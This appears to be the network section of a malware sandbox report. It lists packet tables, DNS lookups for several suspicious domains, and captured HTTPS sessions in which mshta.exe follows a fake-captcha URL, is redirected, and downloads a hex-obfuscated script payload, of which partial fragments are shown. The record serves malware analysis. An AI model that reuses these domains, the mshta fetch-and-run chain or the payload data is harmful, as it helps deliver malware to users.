Dec 21, 2024 20:13:57.524713993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.524756908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.524786949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.524792910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.524820089 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.524838924 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.531569958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.531631947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.531651020 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.531657934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.531691074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.668433905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.668494940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.668526888 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.668538094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.668570042 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.668804884 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.670806885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.670890093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.670905113 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.670949936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.670993090 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.671000957 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.671082973 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:57.671175003 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:57.673204899 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:15:12.204649925 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:12.204744101 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:12.204925060 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:12.206058979 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:12.206099033 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:17.320235968 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:17.320337057 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:17.326976061 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:17.327011108 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:17.327265024 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:17.368773937 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:17.368835926 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:17.368891954 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:29.277422905 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:29.277522087 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:29.277590990 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:29.280168056 CET	49820	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:29.280210018 CET	443	49820	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:29.320452929 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:29.320550919 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:29.320631027 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:29.320970058 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:29.321019888 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:30.559537888 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:30.559613943 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:30.560822010 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:30.560832024 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:30.561058044 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:30.562271118 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:30.562311888 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:30.562336922 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.626651049 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.627190113 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.627223015 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.627264977 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.627331972 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.627624989 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.627980947 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.628717899 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.628750086 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.628797054 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.628813028 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.628880024 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.635334015 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.644290924 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.644428968 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.644459009 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.746470928 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.746540070 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.746618986 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.818945885 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.819005966 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.819029093 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.824103117 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.824141979 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.824162006 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.824181080 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.824244976 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.824281931 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.824311018 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.824559927 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.824559927 CET	49821	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.824595928 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.824631929 CET	443	49821	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.928180933 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.928297997 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:31.928415060 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.928765059 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:31.928811073 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:33.166953087 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:33.167030096 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:33.168797970 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:33.168828964 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:33.169075966 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:33.170237064 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:33.170366049 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:33.170412064 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:33.170474052 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:33.170490026 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:34.193500996 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:34.193588972 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:34.193757057 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:34.193847895 CET	49822	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:34.193887949 CET	443	49822	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:34.210783958 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:34.210850954 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:34.210949898 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:34.211215019 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:34.211246014 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:35.427196026 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:35.427326918 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:35.437727928 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:35.437774897 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:35.438127041 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:35.443537951 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:35.443648100 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:35.443716049 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:36.337104082 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:36.337222099 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:36.337302923 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:36.337447882 CET	49823	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:36.337487936 CET	443	49823	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:36.410235882 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:36.410262108 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:36.410327911 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:36.410645008 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:36.410655975 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:37.627789974 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:37.627878904 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:37.628967047 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:37.628976107 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:37.629295111 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:37.630433083 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:37.630620956 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:37.630657911 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:37.630718946 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:37.630728006 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:38.567540884 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:38.567678928 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:38.567739964 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:38.567825079 CET	49824	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:38.567847967 CET	443	49824	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:38.702049017 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:38.702085972 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:38.702181101 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:38.702409029 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:38.702438116 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:39.914529085 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:39.914752007 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:39.916285038 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:39.916320086 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:39.916668892 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:39.917819023 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:39.917905092 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:39.917918921 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:40.950326920 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:40.950403929 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:40.950484991 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:40.950568914 CET	49825	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:40.950589895 CET	443	49825	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:41.038089037 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:41.038120031 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:41.038192034 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:41.038530111 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:41.038543940 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:42.263993025 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:42.264208078 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:42.265300989 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:42.265307903 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:42.265625954 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:42.267072916 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:42.267167091 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:42.267172098 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:43.119682074 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:43.119802952 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:43.119868040 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:43.132558107 CET	49826	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:43.132574081 CET	443	49826	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:43.143404961 CET	49827	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:43.143500090 CET	443	49827	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:43.143620014 CET	49827	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:43.145097971 CET	49827	443	192.168.2.4	172.67.151.193
Dec 21, 2024 20:15:43.145183086 CET	443	49827	172.67.151.193	192.168.2.4
Dec 21, 2024 20:15:43.815217018 CET	49827	443	192.168.2.4	172.67.151.193

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 20:13:30.865228891 CET	60831	53	192.168.2.4	1.1.1.1
Dec 21, 2024 20:13:31.182138920 CET	53	60831	1.1.1.1	192.168.2.4
Dec 21, 2024 20:13:33.333019972 CET	58457	53	192.168.2.4	1.1.1.1
Dec 21, 2024 20:13:33.802750111 CET	53	58457	1.1.1.1	192.168.2.4
Dec 21, 2024 20:13:39.907743931 CET	64389	53	192.168.2.4	1.1.1.1
Dec 21, 2024 20:13:40.049917936 CET	53	64389	1.1.1.1	192.168.2.4
Dec 21, 2024 20:15:11.819442987 CET	60464	53	192.168.2.4	1.1.1.1
Dec 21, 2024 20:15:12.157332897 CET	53	60464	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 20:13:30.865228891 CET	192.168.2.4	1.1.1.1	0x9329	Standard query (0)	solve.fizq.net	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:33.333019972 CET	192.168.2.4	1.1.1.1	0xb9f	Standard query (0)	atsukaa.thrivezest.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:39.907743931 CET	192.168.2.4	1.1.1.1	0x6078	Standard query (0)	atsuka.thrivezest.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:15:11.819442987 CET	192.168.2.4	1.1.1.1	0xe1e5	Standard query (0)	locketplyxx.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 20:13:31.182138920 CET	1.1.1.1	192.168.2.4	0x9329	No error (0)	solve.fizq.net	172.67.131.114	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:31.182138920 CET	1.1.1.1	192.168.2.4	0x9329	No error (0)	solve.fizq.net	104.21.4.10	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:33.802750111 CET	1.1.1.1	192.168.2.4	0xb9f	No error (0)	atsukaa.thrivezest.org	104.21.18.182	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:33.802750111 CET	1.1.1.1	192.168.2.4	0xb9f	No error (0)	atsukaa.thrivezest.org	172.67.183.27	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:40.049917936 CET	1.1.1.1	192.168.2.4	0x6078	No error (0)	atsuka.thrivezest.org	172.67.183.27	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:13:40.049917936 CET	1.1.1.1	192.168.2.4	0x6078	No error (0)	atsuka.thrivezest.org	104.21.18.182	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:15:12.157332897 CET	1.1.1.1	192.168.2.4	0xe1e5	No error (0)	locketplyxx.click	172.67.151.193	A (IP address)	IN (0x0001)	false
Dec 21, 2024 20:15:12.157332897 CET	1.1.1.1	192.168.2.4	0xe1e5	No error (0)	locketplyxx.click	104.21.88.181	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

solve.fizq.net

atsukaa.thrivezest.org

atsuka.thrivezest.org

locketplyxx.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	172.67.131.114	443	7356	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:13:32 UTC	311	OUT	GET /awjxs.captcha HTTP/1.1 Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: solve.fizq.net Connection: Keep-Alive
2024-12-21 19:13:33 UTC	854	IN	HTTP/1.1 302 Found Date: Sat, 21 Dec 2024 19:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://atsukaa.thrivezest.org/winwidgetshp.json cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CfdPphW1zi5Acqx%2FZ7Nkmtd%2FdlbTSsWmOqH8aWWPFzlAOeE5YTa%2B7DdIDysuCbZZr1e5eGJVtxCtufOItY20UQiZx3p9yBeSpwyBftmdb1JjDzNPqD6Qe%2BpyM5Vi3bKxRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a30a36d5b9e08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&min_rtt=1822&rtt_var=718&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2815&recv_bytes=893&delivery_rate=1486761&cwnd=163&unsent_bytes=0&cid=24858acbb6f813a3&ts=693&x=0"
2024-12-21 19:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	104.21.18.182	443	7356	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:13:35 UTC	323	OUT	GET /winwidgetshp.json HTTP/1.1 Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Connection: Keep-Alive Host: atsukaa.thrivezest.org
2024-12-21 19:13:35 UTC	919	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:13:35 GMT Content-Type: application/json Content-Length: 1446803 Connection: close Accept-Ranges: bytes ETag: "700edbf1e36cdbdc5b01bd20bd68abf2" Last-Modified: Fri, 20 Dec 2024 18:59:08 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zoEJ01t9Ja9Ksa%2B7Mcn%2BDdUmyLjKkXQlack3KevHfBwSZGT2Ie7YTuMgX1EJdDVdhLVIUZzRWc60lHeQYjOawp6W2EtS%2B0W%2FDHKfIjbAkHvZSvqNIFMMdZECbsXUvD8e7XMBnolK%2Btg4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a30b39991ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1788&rtt_var=735&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=905&delivery_rate=1425781&cwnd=121&unsent_bytes=0&cid=6cceec8e805bd4ca&ts=594&x=0"
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 36 36 71 37 35 71 36 65 64 36 33 76 37 34 45 36 39 45 36 66 7a 36 65 42 32 30 4c 36 62 4a 36 63 4f 36 38 65 34 32 41 34 34 78 32 38 72 37 35 4a 37 32 49 34 39 66 35 31 69 34 38 68 36 33 6e 32 39 47 37 62 49 37 36 75 36 31 41 37 32 43 32 30 6b 34 37 64 36 32 49 36 31 41 34 35 68 35 38 6a 36 62 73 33 64 54 32 30 6b 32 37 4f 32 37 74 33 62 70 36 36 6e 36 66 42 37 32 66 32 30 64 32 38 56 37 36 45 36 31 67 37 32 4e 32 30 48 37 33 54 34 37 50 36 35 54 36 35 5a 36 37 6f 34 66 6b 32 30 67 33 64 55 32 30 6a 33 30 68 33 62 6a 37 33 76 34 37 42 36 35 55 36 35 56 36 37 73 34 66 4c 32 30 63 33 63 65 32 30 6c 37 35 68 37 32 4d 34 39 63 35 31 50 34 38 54 36 33 73 32 65 67 36 63 43 36 35 4b 36 65 6c 36 37 44 37 34 4e 36 38 6d 33 62 76 32 30 51 37 33 4f 34 37 70 36 35 61 Data Ascii: 66q75q6ed63v74E69E6fz6eB20L6bJ6cO68e42A44x28r75J72I49f51i48h63n29G7bI76u61A72C20k47d62I61A45h58j6bs3dT20k27O27t3bp66n6fB72f20d28V76E61g72N20H73T47P65T65Z67o4fk20g3dU20j30h3bj73v47B65U65V67s4fL20c3ce20l75h72M49c51P48T63s2eg6cC65K6el67D74N68m3bv20Q73O47p65a
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 63 45 33 35 7a 33 32 6e 33 35 51 32 63 54 33 35 75 33 31 67 33 36 54 32 63 52 33 35 54 33 30 43 33 33 4d 32 63 70 33 35 50 33 31 54 33 38 64 32 63 76 33 35 6c 33 31 49 33 39 41 32 63 52 33 35 62 33 31 4a 33 36 69 32 63 61 33 35 73 33 31 55 33 32 48 32 63 45 33 34 6b 33 33 6b 33 34 68 32 63 71 33 34 6f 33 34 58 33 37 58 32 63 52 33 35 6e 33 31 45 33 37 6b 32 63 79 33 35 73 33 31 6a 33 34 51 32 63 59 33 35 6f 33 31 67 33 30 68 32 63 63 33 35 6d 33 30 69 33 37 58 32 63 76 33 35 4b 33 31 4f 33 38 63 32 63 70 33 34 45 33 33 70 33 34 62 32 63 5a 33 34 59 33 34 50 33 32 67 32 63 69 33 34 55 33 33 56 33 38 42 32 63 73 33 34 77 33 38 4d 33 30 49 32 63 68 33 34 59 33 38 43 33 32 5a 32 63 73 33 34 74 33 38 4a 33 34 6c 32 63 4c 33 34 6e 33 39 65 33 32 52 32 63 43 33 Data Ascii: cE35z32n35Q2cT35u31g36T2cR35T30C33M2cp35P31T38d2cv35l31I39A2cR35b31J36i2ca35s31U32H2cE34k33k34h2cq34o34X37X2cR35n31E37k2cy35s31j34Q2cY35o31g30h2cc35m30i37X2cv35K31O38c2cp34E33p34b2cZ34Y34P32g2ci34U33V38B2cs34w38M30I2ch34Y38C32Z2cs34t38J34l2cL34n39e32R2cC3
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 72 33 34 4f 33 35 6b 33 31 42 32 63 66 33 34 71 33 36 4b 33 39 47 32 63 41 33 34 61 33 35 70 33 31 69 32 63 56 33 34 76 33 37 66 33 31 42 32 63 66 33 34 4e 33 35 67 33 31 7a 32 63 41 33 34 63 33 36 62 33 39 56 32 63 77 33 34 62 33 37 52 33 32 71 32 63 43 33 34 63 33 37 68 33 31 55 32 63 57 33 34 65 33 37 58 33 30 62 32 63 54 33 34 70 33 37 52 33 31 6b 32 63 61 33 34 63 33 37 73 33 32 6d 32 63 4c 33 34 6c 33 35 51 33 31 50 32 63 7a 33 34 71 33 37 65 33 32 64 32 63 61 33 34 45 33 35 74 33 36 4f 32 63 6d 33 34 4f 33 35 46 33 39 45 32 63 59 33 34 55 33 35 44 33 39 58 32 63 73 33 34 56 33 35 4c 33 36 72 32 63 59 33 34 44 33 35 69 33 36 70 32 63 76 33 34 77 33 36 5a 33 39 59 32 63 6a 33 34 70 33 35 4b 33 35 4b 32 63 4b 33 34 42 33 35 71 33 34 4d 32 63 79 33 34 Data Ascii: r34O35k31B2cf34q36K39G2cA34a35p31i2cV34v37f31B2cf34N35g31z2cA34c36b39V2cw34b37R32q2cC34c37h31U2cW34e37X30b2cT34p37R31k2ca34c37s32m2cL34l35Q31P2cz34q37e32d2ca34E35t36O2cm34O35F39E2cY34U35D39X2cs34V35L36r2cY34D35i36p2cv34w36Z39Y2cj34p35K35K2cK34B35q34M2cy34
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 33 34 43 33 35 53 33 37 61 32 63 73 33 34 4d 33 35 52 33 31 57 32 63 4e 33 34 4f 33 35 71 33 33 6d 32 63 57 33 34 71 33 35 71 33 37 6a 32 63 74 33 34 4f 33 37 74 33 32 49 32 63 6b 33 34 51 33 35 68 33 32 4b 32 63 43 33 34 54 33 35 57 33 36 41 32 63 55 33 34 75 33 37 65 33 30 71 32 63 70 33 34 67 33 35 56 33 32 44 32 63 42 33 34 59 33 35 71 33 30 57 32 63 73 33 34 4a 33 35 54 33 32 72 32 63 41 33 34 42 33 35 78 33 36 50 32 63 61 33 34 72 33 35 58 33 33 55 32 63 64 33 34 72 33 35 49 33 35 6d 32 63 56 33 34 49 33 35 59 33 31 5a 32 63 70 33 34 52 33 35 43 33 31 54 32 63 6b 33 34 41 33 35 78 33 30 71 32 63 56 33 34 6d 33 35 69 33 32 55 32 63 58 33 34 58 33 35 50 33 38 61 32 63 78 33 34 70 33 35 4b 33 30 41 32 63 56 33 34 47 33 35 5a 33 31 63 32 63 57 33 34 4b Data Ascii: 34C35S37a2cs34M35R31W2cN34O35q33m2cW34q35q37j2ct34O37t32I2ck34Q35h32K2cC34T35W36A2cU34u37e30q2cp34g35V32D2cB34Y35q30W2cs34J35T32r2cA34B35x36P2ca34r35X33U2cd34r35I35m2cV34I35Y31Z2cp34R35C31T2ck34A35x30q2cV34m35i32U2cX34X35P38a2cx34p35K30A2cV34G35Z31c2cW34K
